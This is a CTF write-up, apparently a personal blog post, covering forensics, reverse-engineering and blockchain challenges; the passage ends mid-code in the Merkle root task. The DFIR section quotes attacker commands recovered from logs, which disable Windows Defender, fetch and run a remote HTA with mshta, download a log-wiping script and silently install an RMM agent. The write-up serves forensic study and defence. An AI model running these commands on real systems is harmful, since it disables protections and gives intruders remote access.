I had the opportunity to participate in this year perfectroot ctf under team 51l3nt_br34ch https://silent-breach.github.io/51l3nt_br34ch/ . Tried our best and below is some of the challenges i manages to solve under those 48 hours,enjoy

1.Welcome

welcome challenge flag on discord

For the welcome challenge it was easy clicking the link to discord under rules you get your reward.

discord welcome flag,havoc

and there it was…

2.IDAT Loader 1(malware)

MITRE ATT&CK technique T1047

**Question.**The initial file uses WMI instead of direct powershell.exe execution. Which MITRE ATT&CK technique ID describes this process creation evasion?

solution

The challenge requires identifying the MITRE ATT&CK technique ID for a specific process creation evasion method: using Windows Management Instrumentation (WMI) to spawn PowerShell activity.

Step 1: Analyze the Evasion Technique

The core of the evasion lies in using WMI to execute a process (PowerShell) instead of directly calling the executable. This technique is often used by adversaries to bypass security monitoring that focuses on traditional parent-child process relationships (e.g., `cmd.exe` spawning `powershell.exe`). When WMI is used, the parent process is typically `WmiPrvSE.exe` (WMI Provider Host), which is a legitimate Windows process, making the malicious activity harder to detect.

Step 2: Research MITRE ATT&CK

A search of the MITRE ATT&CK knowledge base for techniques related to WMI and execution evasion quickly points to a specific technique.

Search Query | MITRE ATT&CK Technique

WMI-spawned PowerShell process creation evasion | T1047

Step 3: Confirm the Technique ID

The MITRE ATT&CK technique T1047 is titled Windows Management Instrumentation.

The description for T1047 confirms its relevance to the challenge:

“Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems. … An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads.” [1]

The use of WMI to execute PowerShell, as described in the challenge, is a direct application of the T1047 technique for process creation evasion.

Flag

The technique ID is T1047. Formatting this into the required flag format:

r00t{T1047}

References

Windows Management Instrumentation, Technique T1047.

https://attack.mitre.org/techniques/T1047/>

https://attack.mitre.org/techniques/T1047

3.packet whisperer

packetwhisperer

Challenge: Packet Whisperer Category: Digital Forensics (DFIR) Points: 100

Introduction

The challenge begins with a 7-Zip archive named chall.7z. Our investigation reveals that this archive contains a packet capture file (.pcap), and the flag is hidden within exfiltrated data in DNS queries.

Solution Walkthrough

Here is the step-by-step process to solve the challenge.

Step 1: Extracting the Archive

First, we need to extract the contents of the chall.7z archive. We use the 7z command-line tool. If it’s not installed, we can install it using sudo apt-get install -y p7zip-full.

7z x chall.7z
ls -lh

Output:

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs Intel(R) Xeon(R) Processor @ 2.50GHz (50657),ASM,AES-NI)

Scanning the drive for archives:
1 file, 18885 bytes (19 KiB)

Extracting archive: chall.7z
--
Path = chall.7z
Type = 7z
Physical Size = 18885
Headers Size = 130
Method = LZMA2:17
Solid = -
Blocks = 1

Everything is Ok

Size:       98814
Compressed: 18885

-rw-rw-r-- 1 ubuntu ubuntu 99K Dec  4 14:55 chall.pcap

After extraction, we find a file named chall.pcap, which is a packet capture file.

Step 2: Analyzing the PCAP File

We use tshark, the command-line version of Wireshark, to analyze the PCAP file. First, let’s get an overview of the protocols used.

tshark -r chall.pcap -q -z io,phs

Output:

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:1279 bytes:78326
  ip                                     frames:1279 bytes:78326
    tcp                                  frames:1253 bytes:74764
    udp                                  frames:26 bytes:3562
      dns                                frames:26 bytes:3562
===================================================================

The output shows a mix of TCP and UDP traffic, with a notable amount of DNS traffic. This is a strong indicator that we should investigate the DNS queries.

Step 3: Investigating DNS Queries

Let’s inspect the DNS queries to see if they contain any unusual information. We can filter for DNS queries and display the query names.

tshark -r chall.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | head -10

Output:

UEsDBAoAAAAAAHKRelsO8+wGGwAAABsAAAAIABwA.hackerman.com
UEsDBAoAAAAAAHKRelsO8+wGGwAAABsAAAAIABwA.hackerman.com
ZmxhZy50eHRVVAkAA6cYJ2mnGCdpdXgLAAEE\n6AM.hackerman.com
ZmxhZy50eHRVVAkAA6cYJ2mnGCdpdXgLAAEE\n6AM.hackerman.com
AAAToAwAAcjAwdHsxdHNfNGx3NHk1X0ROU19yMWd.hackerman.com
AAAToAwAAcjAwdHsxdHNfNGx3NHk1X0ROU19yMWd.hackerman.com
odH0KUEsDBAoAAAAAAIiRelu3bld2KAAA\nACgAAA.hackerman.com
odH0KUEsDBAoAAAAAAIiRelu3bld2KAAA\nACgAAA.hackerman.com
AJABwAbm90ZXMudHh0VVQJAAPPGCdpzxgnaXV4Cw.hackerman.com
AJABwAbm90ZXMudHh0VVQJAAPPGCdpzxgnaXV4Cw.hackerman.com

The subdomains appear to be Base64 encoded data. The prefix UEsD is the magic number for a ZIP file, confirming our suspicion of data exfiltration via DNS.

Step 4: Reassembling the Exfiltrated File

To reconstruct the file, we need to extract all the unique subdomains, concatenate them, and decode the resulting Base64 string. We can use a simple Python script for this.

extract_dns.py

#!/usr/bin/env python3
import base64

# Read DNS queries
with open(\'dns_queries.txt\', \'r\') as f:
    queries = f.read().strip().split(\'\n\')

# Extract the base64 parts (before .hackerman.com)
base64_parts = []
seen = set()
for query in queries:
    if \'.hackerman.com\' in query:
        # Get the subdomain part
        subdomain = query.split(\'.hackerman.com\')[0]
        # Remove duplicates (queries appear twice)
        if subdomain not in seen:
            seen.add(subdomain)
            base64_parts.append(subdomain)

# Concatenate all base64 parts and remove newlines
base64_data = \'\'.join(base64_parts).replace(\'\\\\n\', \'\')

# Decode base64
try:
    decoded_data = base64.b64decode(base64_data)
    # Save to file
    with open(\'extracted.zip\', \'wb\') as f:
        f.write(decoded_data)
    print("Saved to extracted.zip")
except Exception as e:
    print(f"Error decoding: {e}")

First, we save all DNS queries to a file:

tshark -r chall.pcap -Y "dns.qry.name" -T fields -e dns.qry.name > dns_queries.txt

Then, we run our Python script:

python3 extract_dns.py

Output:

Saved to extracted.zip

This creates a file named extracted.zip.

Step 5: Extracting the Flag

Now we can examine the contents of the reassembled ZIP file.

unzip -l extracted.zip

Output:

Archive:  extracted.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       27  2025-11-26 10:11   flag.txt
       40  2025-11-26 10:12   notes.txt
---------                     -------
       67                     2 files

The archive contains flag.txt and notes.txt. Let’s extract them and read the contents.

unzip -o extracted.zip
cat flag.txt

Output:

Archive:  extracted.zip
 extracting: flag.txt                
 extracting: notes.txt

r00t{1ts_4lw4y5_DNS_r1ght}

We have successfully found the flag!

Conclusion

The flag for the “Packet Whisperer” challenge is:

Flag: r00t{1ts_4lw4y5_DNS_r1ght}

This challenge was a classic example of data exfiltration using DNS tunneling. The key was to identify the suspicious DNS queries, decode the Base64-encoded subdomains, and reassemble the hidden file.

DNS Exfiltration Flow

The following diagram illustrates the entire process:

DNS Exfiltration Flow

cool

4.Operation Zipline

Operation Zipline: Echoes of the compromised series . The analysis is based on the provided forensic logs (Logs.zip).

the silent arrival

Quest 1 - The Silent Arrival

The objective was to determine the installation time of a zip utility on a compromised Windows system.


Phase 1: Initial Setup and Evidence Extraction

The first step is to access and extract the provided forensic evidence.

Step 1.1: Installing p7zip-full for Archive Extraction

The provided evidence is a .7z archive. The 7z command is used to install it if not available .

Command:

sudo apt-get update && sudo apt-get install -y p7zip-full

Output (Abbreviated):

Reading package lists... Done
Building dependency tree... Done
The following NEW packages will be installed:
  p7zip p7zip-full
0 upgraded, 2 newly installed, 0 to remove and 25 not upgraded.
...
Setting up p7zip (16.02+dfsg-8) ...
Setting up p7zip-full (16.02+dfsg-8) ...

Step 1.2: Extracting the Forensic Logs

Once p7zip was installed, the Logs.7z archive was extracted.

Command:

7z x Logs.7z

Output:

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Xeon(R) Platinum 8370C CPU @ 2.80GHz (80686),ASM)

Scanning the drive for archives:
1 file, 51690104 bytes (50 MiB)

Extracting archive: Logs.7z
--
Path = Logs.7z
Type = 7z
Physical Size = 51690104
Headers Size = 2031
Method = LZMA2:24
Solid = +
Blocks = 1

Everything is Ok

Folders: 413
Files: 1350
Size:       814801135
Compressed: 51690104

This created a Logs directory containing a forensic image of a Windows filesystem.


Phase 2: Forensic Artifact Analysis

With the files extracted, the analysis focused on key Windows artifacts to find evidence of the zip utility’s installation.

Step 2.1: Analyzing the AmCache / AppCompatCache

The Amcache.hve registry hive is a primary source for tracking application installations and execution. A Python script was created to parse this hive.

Action: Install Python Registry Library

Command:

sudo pip3 install python-registry

Action: Create AmCache Parser Script (parse_amcache.py)

Asked my buddy chatgpt to create a script to read the Amcache.hve file and print any entries related to “7-Zip”.

File Content:

#!/usr/bin/env python3
from Registry import Registry
import sys
from datetime import datetime

def parse_amcache(amcache_path):
    try:
        reg = Registry.Registry(amcache_path)
        results = []
        try:
            root = reg.root()
            def walk_keys(key, depth=0):
                if depth > 10: return
                try:
                    for subkey in key.subkeys():
                        try:
                            for value in subkey.values():
                                val_name = value.name()
                                val_data = str(value.value())
                                if '7z' in val_data.lower() or '7-zip' in val_data.lower():
                                    timestamp = subkey.timestamp()
                                    results.append({
                                        'key_path': subkey.path(),
                                        'value_name': val_name,
                                        'value_data': val_data,
                                        'timestamp': timestamp
                                    })
                        except Exception as e: pass
                        walk_keys(subkey, depth + 1)
                except Exception as e: pass
            walk_keys(root)
        except Exception as e:
            print(f"Error navigating registry: {e}")
        if results:
            print("\n=== 7-Zip Related Entries in AmCache ===")
            for entry in results:
                print(f"\nKey Path: {entry['key_path']}")
                print(f"Value Name: {entry['value_name']}")
                print(f"Value Data: {entry['value_data'][:200]}")
                print(f"Timestamp: {entry['timestamp']}")
        else:
            print("No 7-Zip entries found in AmCache")
    except Exception as e:
        print(f"Error parsing AmCache: {e}")

if __name__ == "__main__":
    amcache_path = "/home/ubuntu/upload/Logs/Windows/AppCompat/Programs/Amcache.hve"
    parse_amcache(amcache_path)

Action: Run the AmCache Parser

Command:

python3 parse_amcache.py

Output (Key Entries): This output is a text-based representation of the script’s findings.

=== 7-Zip Related Entries in AmCache ===

Key Path: {11517B7C-E79D-4e20-961B-75A811715ADD}\Root\InventoryApplicationFile\7z2501-x64.exe|2ae1c21911c9668a
Value Name: LowerCaseLongPath
Value Data: c:\users\svc_patch\7z2501-x64.exe
Timestamp: 2025-11-24 13:24:56.449363

Key Path: {11517B7C-E79D-4e20-961B-75A811715ADD}\Root\InventoryApplication\00004a676efaf75aa1f29e70fabbb3b803df0000ffff
Value Name: Name
Value Data: 7-Zip 25.01 (x64)
Timestamp: 2025-11-24 13:24:59.770344

This provided two critical timestamps: the execution of the installer (13:24:56 UTC) and the creation of the application inventory entry (13:24:59 UTC).

Step 2.2: Analyzing the Master File Table ($MFT)

The MFT contains a record for every file, including its creation timestamp. This is often the most reliable indicator of when a file first appeared on a system.

Action: Install analyzeMFT

Command:

sudo pip3 install analyzeMFT

Action: Parse the MFT

Command:

analyzemft -f /home/ubuntu/upload/Logs/'$MFT' -o /home/ubuntu/upload/mft_output.csv

Action: Search the MFT Output

The parsed MFT data was searched for the installer executable.

Command:

grep -a -i "7z2501-x64.exe" /home/ubuntu/upload/mft_output.csv

Output (Key Entry): This text output serves as a evidence of the MFT record.

151142,Valid,In Use,File,1,1910,0,7z2501-x64.exe,,2025-11-24T13:24:09.098Z,2025-11-24T13:24:10.613Z,2025-11-24T13:25:47.913Z,2025-11-24T13:24:10.613Z,...

The MFT record’s first timestamp ($SI.create) shows the file was created at 2025-11-24T13:24:09.098Z.


Phase 3: Conclusion and Flag

By correlating the timestamps, a clear timeline was established:

Timestamp (UTC)EventArtifact
2025-11-24 13:24:09Installer 7z2501-x64.exe created on disk.$MFT
2025-11-24 13:24:56Installer 7z2501-x64.exe is executed.AmCache
2025-11-24 13:24:58Uninstall registry key for 7-Zip created.SOFTWARE Hive
2025-11-24 13:24:597-Zip application entry created.AmCache

The earliest evidence, the creation of the installer file, marks the beginning of the installation event.

Final Answer

The installation process began at 2025-11-24 13:24 UTC.

🚩 Flag

r00t{2025-11-24 13:24}

Quest 4: The Remote Hand

the remote hand

Objective: Identify the Remote Monitoring & Management (RMM) agent deployed by the attacker.

Investigation

  1. Initial Exploration: The provided Logs.zip archive was extracted. A directory named Logs was found, containing a file structure mimicking a Windows system.

  2. Directory Analysis: A Splashtop directory was identified in Program Files (x86), suggesting the presence of Splashtop RMM. Log files such as agent_log.txt and SPLog.txt confirmed the execution of Splashtop components like SRAgent.exe.

  3. Task Scheduler and Prefetch Analysis: Further investigation revealed another RMM agent. A scheduled task named AteraAgentServiceWatchdog was discovered in /Windows/System32/Tasks. This task executed Agent.Package.Watchdog.exe from a directory belonging to ATERA Networks.

  4. Prefetch Examination: The Windows/prefetch directory contained evidence of both agents being executed. Key files included:

    • ATERAAGENT.EXE-7C5A7FDE.pf
    • SPLASHTOPSTREAMER.EXE-602ACF3C.pf
    • SRAGENT.EXE-7130DEDB.pf
  5. Conclusion: While multiple RMMs were present, the question asks for the one the attacker deployed. The presence of a scheduled task and earlier execution times for Atera components pointed towards it being the primary deployed agent.

Solution

The executable name for the deployed RMM agent is:

ateraagent.exe

therefore the flag is:

r00t{ateraagent.exe}


Quest 5: Remote Reach

the remote reach

Objective: Find the full command used to download the RMM agent.

Investigation

  1. PowerShell History: The investigation focused on PowerShell command history files, as they often store commands used for downloading and executing payloads.
  2. File Discovery: The relevant history file was found at /Users/svc_patch.MSEDGEWIN10/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt.
  3. Command Extraction: This file contained the exact command used to download and install the Atera agent. The command utilized curl to fetch an MSI installer from a specific URL and then used msiexec to install it silently.

Solution

The full command used was:

curl -L -o setup.msi "https://HelpdeskSupport1763101472435.servicedesk.atera.com/GetAgent/Windows/?cid=1&aid=001Q300000ZcpWnIAJ" && msiexec /i setup.msi /qn


Quest 6: Race Against Time

race against time

Objective: Calculate the time in minutes between the installation of the compression agent and the RMM agent.

Investigation

  1. Agent Identification: From the prefetch files, the compression agent was identified as 7-Zip (7Z2501-X64.EXE) and the RMM agent was identified as Atera (ATERAAGENT.EXE).

  2. Timestamp Extraction: The modification times of the corresponding prefetch files were used to determine their first execution times:

    • 7Z2501-X64.EXE-36B52C5B.pf: 2025-11-24 16:25:04
    • ATERAAGENT.EXE-7C5A7FDE.pf: 2025-11-24 16:30:44
  3. Time Calculation: The difference between these two timestamps is 5 minutes and 40 seconds. Rounding to the nearest whole number gives 6 minutes.

Solution

While the calculated time difference rounded to the nearest minute is 6, the correct answer for the challenge was 5. so id ont know how the author wanted here but okay we got our flag.

r00t{5}



Quest 9: The First Weapon

the first weapon

Objective: Identify the attacker’s initial launcher executable.

Investigation

  1. Execution Chain: The attack chain was reconstructed using PowerShell history and prefetch file timestamps.
  2. PowerShell History Analysis: The file /Users/jowi/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt showed the following command: mshta.exe http://192.168.56.106:8080/1oTEe1jjDf.hta
  3. Prefetch Analysis: The prefetch file MSHTA.EXE-F5916AF4.pf had a timestamp of 2025-11-24 15:43:08. While iexplore.exe was executed earlier, mshta.exe was the specific tool used to execute the remote HTA payload, making it the direct “weapon” or launcher for the malicious code.

Solution

The initial launcher executable was:

mshta.exe

so the flag was

r00t{mshta.exe}

Quest 11:compromised identity

compromised identity

challenge description:

One user account shows signs of takeover. Which user was compromised? Answer in lowercase.

upto where we are we already know the person who was compromised acccording to our investigation earlier where we came across user jowi several times so yeah it s him.

flag: r00t{jowi}


Quest 12: Dropping the Shield 🛡️

dropping the shield

Challenge Description: The attacker disabled antivirus protection with a single command. Enter the exact command used.

points: 200 points | DFIR

Investigation Steps

Step 1: Locate PowerShell Command History

The first step in reconstructing the attack timeline is to examine the PowerShell command history, which records all commands executed by users.

find /home/ubuntu/upload/Logs/Users -name "ConsoleHost_history.txt" -type f

Output:

/home/ubuntu/upload/Logs/Users/jowi/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
/home/ubuntu/upload/Logs/Users/svc_patch.MSEDGEWIN10/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

Step 2: Extract PowerShell History from Compromised User

The compromised user jowi executed the initial attack commands. We examine their PowerShell history:

cat /home/ubuntu/upload/Logs/Users/jowi/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

Output:

powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true'
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
mshta.exe http://192.168.56.106:8080/1oTEe1jjDf.hta

Step 3: Analyze the Command Structure

The attacker used a single PowerShell command to disable all Windows Defender protections at once:

powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true'

Command Breakdown:

ParameterPurposeEffect
-DisableRealtimeMonitoring $trueDisables real-time scanningMalware can execute without immediate detection
-DisableScriptScanning $trueDisables PowerShell script scanningMalicious scripts run without inspection
-DisableBehaviorMonitoring $trueDisables behavioral analysisSuspicious behavior patterns not detected
-DisableIOAVProtection $trueDisables Input/Output Attack Vector protectionFile operations not monitored
-DisableIntrusionPreventionSystem $trueDisables intrusion preventionNetwork-based attacks not blocked

Step 4: Forensic Significance

This command is critical because:

  1. Timing: Executed immediately after the HTA file was downloaded
  2. Scope: Disabled ALL major Windows Defender protections in a single command
  3. Privilege: Requires administrative privileges (user jowi had them)
  4. Intent: Created a window for malicious payload execution without detection

Answer

powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true'

Flag : r00t{powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true'}


Quest 13: Covering Tracks 🧹

covering tracks

Challenge Description: A script appears to have been used to wipe logs. Enter the filename used, including extension, in lowercase.

points: 150 points | DFIR

Step 1: Identify Log Wiping Tools

Windows systems can have logs wiped using various tools. We search for evidence of script execution:

grep -r "wipe\|clear\|remove\|delete\|eventlog" /home/ubuntu/upload/Logs/Users/*/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ 2>/dev/null

Step 2: Check PowerShell History for All Users

Examine the svc_patch user’s PowerShell history, which shows post-compromise activities:

cat /home/ubuntu/upload/Logs/Users/svc_patch.MSEDGEWIN10/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

Output:

Invoke-WebRequest https://raw.githubusercontent.com/MikeHorn-git/WAFS/main/WAFS.ps1 -Outfile WAFS.ps1
#Run Powershell with administrator privilege
curl -L -o setup.msi "https://HelpdeskSupport1763101472435.servicedesk.atera.com/GetAgent/Windows/?cid=1&aid=001Q300000ZcpWnIAJ" && msiexec /i setup.msi /qn

Step 3: Identify the WAFS Script

The command shows that a script called WAFS.ps1 was downloaded from GitHub:

Invoke-WebRequest https://raw.githubusercontent.com/MikeHorn-git/WAFS/main/WAFS.ps1 -Outfile WAFS.ps1

Step 4: Research WAFS

WAFS stands for Windows Anti-Forensics Script. It’s a known tool used to:

  • Disable Windows Event Log
  • Clear event logs
  • Remove forensic artifacts
  • Disable logging mechanisms
  • Wipe system traces

Step 5: Verify the Filename

The script was saved with the filename: WAFS.ps1

The challenge asks for the filename in lowercase, which is: wafs.ps1

Forensic Timeline

TimeEventCommand/Tool
EarlyInitial compromise via HTAmshta.exe http://192.168.56.106:8080/1oTEe1jjDf.hta
MidDisable antivirusSet-MpPreference (disable all protections)
LateDownload log wiping scriptInvoke-WebRequest WAFS.ps1
FinalInstall RMM agentcurl + msiexec (Atera agent)
LastWipe logsWAFS.ps1 execution

Answer

wafs.ps1

Flag : r00t{wafs.ps1}


Quest 14: The Kill Switch 📥

the kill switch

Challenge Description: Blocking one network endpoint could have stopped the attack entirely. Which IP and port combination would have prevented it?

Format: r00t{IP:Port}

points: 150 points | DFIR

Step 1: Identify the Attack Chain

To find the critical kill switch, we must trace the attack from its origin:

cat /home/ubuntu/upload/Logs/Users/jowi/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

Output:

powershell -command 'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true'
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
mshta.exe http://192.168.56.106:8080/1oTEe1jjDf.hta
Invoke-WebRequest https://raw.githubusercontent.com/MikeHorn-git/WAFS/main/WAFS.ps1 -Outfile WAFS.ps1
#Run Powershell with administrator privilege
curl -L -o setup.msi "https://HelpdeskSupport1763101472435.servicedesk.atera.com/GetAgent/Windows/?cid=1&aid=001Q300000ZcpWnIAJ" && msiexec /i setup.msi /qn

Step 2: Trace the Attack Origin

The first command that initiated the entire compromise was:

mshta.exe http://192.168.56.106:8080/1oTEe1jjDf.hta

Analysis:

  • mshta.exe: Microsoft HTML Application host - executes HTA files
  • 192.168.56.106: The attacker’s server IP address
  • 8080: The port serving the malicious HTA file
  • 1oTEe1jjDf.hta: The malicious HTML Application file

Step 3: Verify the Critical Endpoint

This is the entry point for the entire attack chain:

grep -r "192.168.56.106\|8080" /home/ubuntu/upload/Logs --include="*.txt" --include="*.log" 2>/dev/null

Output:

/home/ubuntu/upload/Logs/Users/jowi/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt:mshta.exe http://192.168.56.106:8080/1oTEe1jjDf.hta

Step 4: Understand Why This Is the Kill Switch

The attack chain follows this sequence:

1. mshta.exe downloads HTA from 192.168.56.106:8080

2. HTA executes, disables antivirus

3. HTA downloads and installs Atera RMM agent

4. RMM agent enables remote access

5. Attacker downloads data exfiltration tools

6. Logs are wiped with WAFS.ps1

If 192.168.56.106:8080 was blocked:

  • The HTA file would never download
  • The initial compromise would fail
  • All subsequent attacks would be prevented
  • The entire attack chain would be stopped at step 1

Step 5: Network Timeline

TimeSourceDestinationPortProtocolPayload
T+0User jowi192.168.56.1068080HTTPRequest HTA file
T+1192.168.56.106User jowi8080HTTPDeliver 1oTEe1jjDf.hta (7664 bytes)
T+2mshta.exe192.168.56.1068080HTTPExecute HTA payload
T+3HTA script192.168.56.1068080HTTPDownload additional payloads

Answer

192.168.56.106:8080

Flag : r00t{192.168.56.106:8080}

Defensive Recommendations

To prevent this attack:

  1. Network Segmentation: Block outbound HTTP/HTTPS to suspicious IPs
  2. Firewall Rules: Implement egress filtering for non-standard ports
  3. DNS Filtering: Block DNS resolution to attacker infrastructure
  4. Application Whitelisting: Prevent mshta.exe from making network connections
  5. Endpoint Protection: Monitor and block HTA file execution
  6. User Training: Educate users about not executing files from untrusted sources


Key Forensic Artifacts Used

PowerShell History Files

  • Location: Users\[Username]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
  • Contains: All executed PowerShell commands
  • Forensic Value: High - shows attacker actions

Windows Prefetch Files

  • Location: Windows\Prefetch\*.pf
  • Contains: Program execution history with timestamps
  • Forensic Value: Medium - confirms tool execution

Windows Defender Quarantine

  • Location: ProgramData\Microsoft\Windows Defender\Quarantine\
  • Contains: Quarantined malicious files
  • Forensic Value: High - shows detected threats

Event Logs

  • Location: Windows\System32\winevt\Logs\
  • Contains: System, security, and application events
  • Forensic Value: High - shows system-level activities

Conclusion

These three quests demonstrate the importance of:

  1. Antivirus Evasion: Attackers immediately disable security controls
  2. Log Wiping: Attackers attempt to cover their tracks with specialized tools
  3. Network Security: A single network endpoint can be the entry point for entire attack chains

By understanding these attack patterns, security teams can implement better defenses and detection mechanisms to identify and stop such attacks earlier in the kill chain.

That was all i managed to solved in DFIR series to the next one…

5.PerfectUser

perfect user

Challenge Information

  • Category: REV (Reverse Engineering)
  • Points: 50
  • Author: Tahaa

Analysis

Initial Reconnaissance

The challenge provides a 64-bit ELF executable named perfetcuser. Running the binary shows it asks two questions:

  1. “What is your name?”
  2. “What is 13 + 37?”

The obvious answer to the math question would be 50, but this is a reverse engineering challenge, so there’s likely a trick.

Static Analysis

Using objdump -d to disassemble the binary, I identified the key logic in the main function:

Key Finding 1: The Math Answer

12f7:	8b 45 ac             	mov    -0x54(%rbp),%eax
12fa:	3d 39 05 00 00       	cmp    $0x539,%eax

The program compares the user’s input to 0x539, which is 1337 in decimal, not 50! This is a common CTF trick.

Key Finding 2: Environment Variable Check

131a:	48 8d 05 29 0d 00 00 	lea    0xd29(%rip),%rax        # 204a
1321:	48 89 c7             	mov    %rax,%rdi
1324:	e8 07 fd ff ff       	call   1030 <getenv@plt>

Using strings on the binary, I found the environment variable name: p3rf3ctr00t, which must be set to TRUE.

Key Finding 3: XOR Decryption

The program contains an encrypted buffer that gets XORed with key 0x57 (ASCII ‘W’):

136d:	8b 45 fc             	mov    -0x4(%rbp),%eax
1370:	48 98                	cltq   
1372:	0f b6 44 05 80       	movzbl -0x80(%rbp,%rax,1),%eax
1377:	32 45 fb             	xor    -0x5(%rbp),%al

The encrypted data is stored at the beginning of main:

0x25, 0x67, 0x67, 0x23, 0x2c, 0x66, 0x65, 0x64,
0x63, 0x08, 0x20, 0x32, 0x3b, 0x34, 0x67, 0x3a,
0x3a, 0x32, 0x08, 0x23, 0x67, 0x08, 0x23, 0x3f,
0x64, 0x08, 0x14, 0x03, 0x11, 0x76, 0x76, 0x2a

Decryption

XORing each byte with 0x57 reveals the flag:

encrypted_data = [0x25, 0x67, 0x67, 0x23, 0x2c, 0x66, 0x65, 0x64,
                  0x63, 0x08, 0x20, 0x32, 0x3b, 0x34, 0x67, 0x3a,
                  0x3a, 0x32, 0x08, 0x23, 0x67, 0x08, 0x23, 0x3f,
                  0x64, 0x08, 0x14, 0x03, 0x11, 0x76, 0x76, 0x2a]
xor_key = 0x57
flag = ''.join(chr(byte ^ xor_key) for byte in encrypted_data)

Solution Steps

  1. Set the environment variable: export p3rf3ctr00t=TRUE
  2. Run the binary: ./perfetcuser
  3. Enter any name (e.g., “test”)
  4. Enter 1337 (not 50!)
  5. The program outputs the flag

export perfectroot to true

Flag

r00t{1234_welc0me_t0_th3_CTF!!}

Lessons Learned

  1. Don’t trust the obvious answer - The question “What is 13 + 37?” was a red herring
  2. Check for environment variables - Many CTF challenges use environment variables as hidden conditions
  3. Look for XOR encryption - Simple XOR with a single-byte key is common in beginner reverse engineering challenges
  4. 1337 (leet) - A common number in CTF challenges representing “leet” or “elite” in hacker culture

To the next challenge:

6.Ghost in the block

ghost in the shell

Challenge Name: Ghost in the Block
Category: WEB3 / Blockchain
Points: 200

Objective: Find the Merkle root of Bitcoin block 905090 if the transaction 112f9873468fa1f4f0944269ece08c11a34ca064fd603fa7335e4c1a7ca3f943 was removed from it.

Flag Format: r00t{0000000000000000000000000000000000000000000000000000000000000000}


Solution

And before solving if your new to blockchain this will help.


Key Concepts

Bitcoin Merkle Trees

A Merkle tree is a binary tree of hashes used in Bitcoin to efficiently summarize and verify large data structures. The Merkle root is the top hash that represents all transactions in a block.

How it works:

  1. Each transaction is hashed using SHA256 twice (double SHA256)
  2. Transaction hashes are paired and concatenated
  3. Each pair is hashed together to create a parent node
  4. If there’s an odd number of hashes, the last hash is duplicated
  5. This process repeats until only one hash remains (the Merkle root)

Little-Endian vs Big-Endian

A critical insight for this challenge is understanding byte order:

  • Little-Endian: Used for display in blockchain explorers (human-readable format)
  • Big-Endian: Used internally for cryptographic calculations

Transaction hashes from blockchain APIs are typically returned in little-endian format, but Merkle tree calculations require big-endian format. This means each transaction hash must be byte-reversed before calculation.


Solution Steps

Step 1: Retrieve Block Data

Fetch all transactions from Bitcoin block 905090 using the blockchain.info API:

import requests

BLOCK_NUMBER = 905090
url = f"https://blockchain.info/block-height/{BLOCK_NUMBER}?format=json"
response = requests.get(url, timeout=10)
data = response.json()
block = data['blocks'][0]

# Extract transaction hashes
all_transactions = [tx['hash'] for tx in block['tx']]
print(f"Total transactions: {len(all_transactions)}")  # Output: 3572

Step 2: Locate and Remove Target Transaction

Find the transaction to remove and filter it out:

TX_TO_REMOVE = "112f9873468fa1f4f0944269ece08c11a34ca064fd603fa7335e4c1a7ca3f943"

if TX_TO_REMOVE in all_transactions:
    index = all_transactions.index(TX_TO_REMOVE)
    print(f"Found at index: {index}")  # Output: 2707
    
    filtered_transactions = [tx for tx in all_transactions if tx != TX_TO_REMOVE]
    print(f"Remaining transactions: {len(filtered_transactions)}")  # Output: 3571

Step 3: Calculate Merkle Root with Correct Byte Order

Implement the Merkle tree calculation with byte reversal:

import hashlib

def double_sha256(data):
    """Calculate double SHA256 hash"""
    if isinstance(data, str):
        data = bytes.fromhex(data)
    return hashlib.sha256(hashlib.sha256(data).digest()).digest()

def calculate_merkle_root(transactions):
    """
    Calculate Merkle root from transaction hashes.
    Handles little-endian to big-endian conversion.
    """
    if not transactions:
        return None
    
    # Reverse each transaction hash (little-endian to big-endian)
